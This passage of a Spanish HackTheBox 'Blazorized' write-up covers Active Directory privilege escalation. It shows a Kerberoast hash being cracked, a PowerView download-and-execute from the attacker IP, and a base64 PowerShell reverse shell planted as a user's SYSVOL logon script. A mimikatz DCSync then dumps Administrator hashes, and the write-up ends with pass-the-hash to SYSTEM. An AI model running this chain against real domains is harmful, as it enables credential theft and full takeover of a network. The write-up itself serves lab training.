738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92
E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F
24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3
B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B
857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04
271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6F
E3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D
9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8
FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E30888
30318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D6
8B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F
1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2
C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF142
9BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45
C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F
9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2
078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1
EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543F
E70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0
664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB
8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E86
8879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E8
3CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95F
CEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52F
F1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48D
A898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947D
CA6
Guardamos este hash en un archivo:
❯ cat RSA_4810_hash
$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$C500617D4E0868E7BD5F1801F01596F6$597C70FE5E864738A3EA436C0A746E0867379C8AABE0A09F43213BB303FA364A5170C0016C58729F1E971988C0A9F347CCAD3C3973D92E421EE6CFDBC7B6162A7B451177C11BEC0042C3689681BF4EEC0FD97F88D5CF9D620BA8A6AF1702FBF2B846E0818175F24D8E335E76628216900B401F0845AD575826B0653CF4C9A1036A73E8EFE52EB1A63F0CB71E014D0B27E465045A462A3B7837B02BF2DC7528DC908A3A60282161F7F0A106BD33166FFC229A6E13BC5F62DA4AC3CD2E4BDD719FCD9EB16597B1B857EDAEC68AAAF431787887CEFE074CFC6C8016025D6BEB25CDB30387C8340C7D43DBFE016545A34223A1BBE26FD0C04271C9455B3EDBB7018531196099B59164424A0DF52D9A9A4595DA67EFA8939DB00FE0BFD2E9C0DE71E3AA62AECC86C6FE3934F39476977B0D2F807AE5B45812FDA45F3256B12107272E509A7D9C46D6C52F7598FD979629BEECE36B182876B0D9FBF70DAD014DB1402758D635089EE7FC32AED8D92D12BCA526DD0AFDE32AFD49699403B6153BC3B94F107BBF144D2E8FD5D023B562A0599B209902AB2CE94B242186FFC3F84446FC54F4C53C1C96B9C175F0F26DA73757BA49A62E751E3088830318BD0A5895FB0E730FE63BFC76414A667F5F9482F1D4101EA57F0DEC10A2A2202B1E97949DDE15F9764BAF8F010D68B3DD661ECFD25403E91FA9035F74DF7F168453C44891F65D4F20159A7E0A9548B05A205C961A88ACA902EB5E9984D6F1D4215E3427C8EBE9D7A1731A369097CA0B52F41DBD938C23933AD6BBB2AA473704CA7419FCFA51E4F38902D7E5749F2C511A1DDCCBD13890785A23D9A1A1AB54F4FD6502721F502341D783D0EC346180C09BEB09B0D5D281FE5FD9AAAEDF1429BA2614ECEDBA0B2907960B94D37A2AF7BF542C3E887DDE85409E679E9F136E496E1CFDA72263D3F89A186552787EF45C4324F4104F9BEE7DC7B519CC5ADC71940689B361C6A71D8EF6CF8258546C89A81CB662D29BFB4289F59D5ACAE81D22F9C88063C6CBA7151794E5161E074A963043E3B15A385B2EEF86628A2D21D8EF1B19A94499F82DA2F02D9F7D3A6ADE6D2078021223DCE6A8E28E61468BAAAFAC2A428EFD082830024A4F065811424E281A139FC7C690E684CE3EAEE0B852A69C1EE64959C63169EDEEC21B0814470B594D3513094D45958620989C191E950383ED0DB4CB7899388A8572B3BE7A67B543FE70AD18D506C7A95E9C51643B9347A61EB87CDE76113DA8A1CB4F76D27EF863916A94BE1DCCAD91A9618DCF9885BF6A0664B4C3906225C622C26A42D0C6551E6110E8BC2A085E2C372D5A68E7E6D467F370595245D2201BA2D388008E64607FB8C2244527FBD52CA3051EB36D675E17282958709EE213EB1E9A83B91D91AB881718D46F1AC9411FD97D93DAE9F9E1E868879AFCF994B3CF47718CAAF3F4D6AE63476BAA20B42BF37B256DD966AF2DA18266C42534195941CAE13249A7FDB10E83CEA6035AB2FA04459B295432A099785856ED7EE5ECE0937ED672D90CBD12D09F3EF09F91DAF2659FF56FDBBA5F8E95FCEC1792D67C4302437C6678900BED83C350585EA8BA3218A550D6E489A10F9E794173EA2832D0E583688B5F51788C52FF1C805912B7A4068F0AA4F49DB2278E902E14730DDAFC50499316B5970E56E310206F6CB12602522E4BB64315C30D48DA898B2690BC8F1E7A87D63B2182E5E583E05725B983C3E70C5C3C787908E407CE195E23BC66CD98BDE817B41080B947DCA6
Intentamos crackearlo a través de un Brute Force Password Cracking
con Hashcat
:
❯ hashcat -m 13100 -O -a 0 RSA_4810_hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
$krb5tgs$23$*RSA_4810$blazorized.htb$htb/gunzf0x*$c500617d<SNIP>80b947dca6:(Ni7856Do9854Ki05Ng0005 #)
<SNIP>
Obtenemos credenciales: RSA_4810:(Ni7856Do9854Ki05Ng0005 #)
.
Revisamos si estas credenciales funcionan usando la herramienta NetExec
en el servicio WinRM
:
❯ netexec winrm 10.10.11.22 -u 'RSA_4810' -p '(Ni7856Do9854Ki05Ng0005 #)'
WINRM 10.10.11.22 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM 10.10.11.22 5985 DC1 [+] blazorized.htb\RSA_4810:(Ni7856Do9854Ki05Ng0005 #) (Pwn3d!)
y funcionan.
Así es como nos conectamos como el usuario RSA_4810
a través de WinRM
con evil-winrm
. Una vez logueados, revisamos los grupos de este usuario:
*Evil-WinRM* PS C:\Users\Public\Downloads> net user RSA_4810
User name RSA_4810
Full Name RSA_4810
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/25/2024 12:55:59 PM
Password expires Never
Password changeable 2/26/2024 12:55:59 PM
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/2/2024 12:44:30 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Remote_Support_Admini
The command completed successfully.
El grupo Remote_Support_Admini
es nuevo.
Buscando por archivos eventualmente llegamos al directorio C:\Windows\sysvol\sysvol\blazorized.htb\scripts
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:38 PM 11DBDAEB100D
d----- 5/29/2024 2:33 PM A2BFDCF13BB2
d----- 6/20/2024 9:06 AM A32FF3AEAA23
d----- 5/29/2024 2:36 PM CADFDDCE0BAD
d----- 5/29/2024 2:37 PM CAFE30DAABCB
Donde podemos ver algunos directorios.
Notamos que este usuario, RSA_4810
, puede escribir en el directorio A32FF3AEAA23
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> cmd.exe /c icacls A32FF3AEAA23
A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
BLAZORIZED\Administrator:(OI)(CI)(F)
BUILTIN\Administrators:(I)(F)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Server Operators:(I)(OI)(CI)(RX)
Successfully processed 1 files; Failed processing 0 files
En este directorio tenemos más directorios y un archivo .bat
vacío:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:34 PM 113EB3B0B2D3
d----- 5/29/2024 2:34 PM 21FDFAAFC1D0
d----- 5/29/2024 2:33 PM 23010E0A1A33
d----- 5/29/2024 2:34 PM 2BECF3DC0B3D
d----- 5/29/2024 2:33 PM 2F3FCC01E0A3
d----- 5/29/2024 2:34 PM 3DACA30B03D1
d----- 5/29/2024 2:34 PM 3EAF2A3E0CED
d----- 5/29/2024 2:34 PM A3F211DCB11D
d----- 5/29/2024 2:33 PM AADE1BA2A3E3
d----- 5/29/2024 2:34 PM AC2210DC311B
d----- 5/29/2024 2:34 PM B2ACCF2BABFB
d----- 5/29/2024 2:33 PM BE11A3E0EA13
d----- 5/29/2024 2:33 PM BFDDF0E1B33E
d----- 5/29/2024 2:34 PM C20F1322FB3C
d----- 5/29/2024 2:34 PM CD102CDEFD0E
d----- 5/29/2024 2:34 PM CED022B22EBA
d----- 5/29/2024 2:33 PM D0ECECBC1CCF
d----- 5/29/2024 2:33 PM F1D30FCB0100
d----- 5/29/2024 2:33 PM FD33C0CE11AC
-a---- 5/29/2024 2:33 PM 0 02FCE0D1303F.bat
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> type 02FCE0D1303F.bat
Pero nada prometedor. No obstante, dado que este usuario puede escribir archivos y este directorio contiene scripts, puede que halla algún servicio/usuario ejecutando estos scripts.
Volvemos a subir PowerView.ps1
, lo importamos para este nuevo usuario y usamos el comando Get-NetUser
para obtener información de logueos de usuarios en el dominio:
*Evil-WinRM* PS C:\Users\Public\Downloads> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.3:8000/PowerView.ps1')
*Evil-WinRM* PS C:\Users\Public\Downloads> Get-NetUser
logoncount : 437
badpasswordtime : 7/1/2024 8:00:42 AM
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=blazorized,DC=htb
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 7/12/2024 5:37:37 AM
name : Administrator
objectsid : S-1-5-21-2039403211-964143010-2924010611-500
samaccountname : Administrator
logonhours : {255, 255, 255, 255...}
<SNIP>
logoncount : 3389
badpasswordtime : 6/19/2024 9:58:18 AM
distinguishedname : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
objectclass : {top, person, organizationalPerson, user}
displayname : SSA_6010
lastlogontimestamp : 7/12/2024 5:37:37 AM
userprincipalname : SSA_6010@blazorized.htb
name : SSA_6010
objectsid : S-1-5-21-2039403211-964143010-2924010611-1124
samaccountname : SSA_6010
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
Hay un usuario llamado SSA_6010
el cual tiene un inusual número de logins (3389
en mi caso, puede que sean más o menos en su caso). En un entorno Active Directory
, la variable logoncount
se atribuye al número total de logueos exitosos que el usuario ha tenido. Y claramente más de 3000 logueos es algo un poco inusual.
Crearemos entonces un archivo .bat
malicioso usando una reverse shell para Powershell
de https://www.revshells.com/. Más específicamente, usaremos un payload de tipo PowerShell #3 (Base64)
con nuestra IP de atacante y puerto en escucha 443
. Podemos escribir el archivo .bat
con el payload en un oneliner:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgCkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' | Out-File -FilePath C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat -Encoding ASCII
y nuestro archivo está allí:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> dir
Directory: C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2024 2:34 PM 113EB3B0B2D3
<SNIP>
d----- 5/29/2024 2:33 PM FD33C0CE11AC
-a---- 5/29/2024 2:33 PM 0 02FCE0D1303F.bat
-a---- 7/22/2024 1:21 AM 1344 exploit.bat
La idea de este archivo es que se ejecute cuando el usuario SSA_6010
se loguee. Y como este usuario se loguea de manera continua, ejecutará este script.
Para que este usuario ejecute el script al loguearse podemos tratar de modificar los atributos de SSA_6010
en el entorno AD
usando el comando Set-ADUser
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23> Set-ADUser -Identity SSA_6010 -ScriptPath 'C:\Windows\sysvol\sysvol\blazorized.htb\scripts\A32FF3AEAA23\exploit.bat'
Nos ponemos en escucha con netcat
en el puerto 443
. Luego de algunos momentos obtenemos una shell como el usuario SSA_6010
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 61491
whoami
blazorized\ssa_6010
PS C:\Windows\system32>
Este nuevo usuario es parte del gurpo Super_Support_Administrators
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-DomainUser -Identity SSA_6010 |select samaccountname,objectsid,memberof,useraccountcontrol |fl
samaccountname : SSA_6010
objectsid : S-1-5-21-2039403211-964143010-2924010611-1124
memberof : {CN=Super_Support_Administrators,CN=Users,DC=blazorized,DC=htb, CN=Remote Management Users,CN=Builtin,DC=blazorized,DC=htb}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
Podemos revisar si este usuario puede performar una ataque DCSync
. Para ello podemos extraer el SID
de ssa_6010
(el cual se muestra en el output del comando Get-NetUser
ejecutado anteriormente) y ejecutar en la terminal de RSA_4810
:
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> $sid = 'S-1-5-21-2039403211-964143010-2924010611-1124'
*Evil-WinRM* PS C:\Windows\sysvol\sysvol\blazorized.htb\scripts> Get-ObjectAcl "DC=blazorized,DC=htb" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')}
AceQualifier : AccessAllowed
ObjectDN : DC=blazorized,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
ObjectSID : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2039403211-964143010-2924010611-498
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
AceQualifier : AccessAllowed
ObjectDN : DC=blazorized,DC=htb
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-All
ObjectSID : S-1-5-21-2039403211-964143010-2924010611
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2039403211-964143010-2924010611-516
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
<SNIP>
Obtenemos AccessAllowed
. De manera que podemos performar el ataque.
Si bien tenemos acceso a este usuario, no tenemos su contraseña; de manera que performar este ataque mediante secretsdump.py
de Impacket
no es posible en esta ocasión. En su lugar, podemos tratar de hacerlo de manera “local” usando la herramienta mimikatz
. Pasamos un binario de mimikatz
(el cual puede ser descargado desde su repositorio de Github) a la máquina víctima, pasamos de una Powershell
a una CMD
(lo cual se puede hacer enviándonos una nueva reverse shell dentro de la terminal del usuario ssa_6010
usando los binarios de nc
), e intentamos performar una ataque DCSync
contra el usuario Administrator
:
C:\Users\Public\Downloads>.\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:blazorized.htb /user:Administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID : 500
Credentials:
Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
ntlm- 5: b471c416c10615448c82a2cbb731efcb
ntlm- 6: b471c416c10615448c82a2cbb731efcb
ntlm- 7: aec132eaeee536a173e40572e8aad961
ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
lm - 0: ad37753b9f78b6b98ec3bb65e5995c73
lm - 1: c449777ea9b0cd7e6b96dd8c780c98f0
lm - 2: ebbe34c80ab8762fa51e04bc1cd0e426
lm - 3: 471ac07583666ccff8700529021e4c9f
lm - 4: ab4d5d93532cf6ad37a3f0247db1162f
lm - 5: ece3bdafb6211176312c1db3d723ede8
lm - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
lm - 7: 8b3c1950099a9d59693858c00f43edaf
lm - 8: a14ac624559928405ef99077ecb497ba
<SNIP>
Obtenemos un hash.
Revisamos si este hash NT
funciona para loguearse, por ejemplo, a través de WinRM
con NetExec
:
❯ netexec winrm 10.10.11.22 -u 'Administrator' -H 'f55ed1465179ba374ec1cad05b34a5f3'
WINRM 10.10.11.22 5985 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:blazorized.htb)
WINRM 10.10.11.22 5985 DC1 [+] blazorized.htb\Administrator:f55ed1465179ba374ec1cad05b34a5f3 (Pwn3d!)
Y funciona. Simplemente porque puedo, podemos también usar este hash con psexec.py
a través de SMB
performando un ataque Pass The Hash
:
❯ python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes ad37753b9f78b6b98ec3bb65e5995c73:f55ed1465179ba374ec1cad05b34a5f3 Administrator@blazorized.htb cmd.exe
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on blazorized.htb.....
[*] Found writable share ADMIN$
[*] Uploading file XphekYjf.exe
[*] Opening SVCManager on blazorized.htb.....
[*] Creating service DUqR on blazorized.htb.....
[*] Starting service DUqR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.5933]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
GG. Podemos leer la flag root
en el directorio Desktop del usuario Administrator
.
~Happy Hacking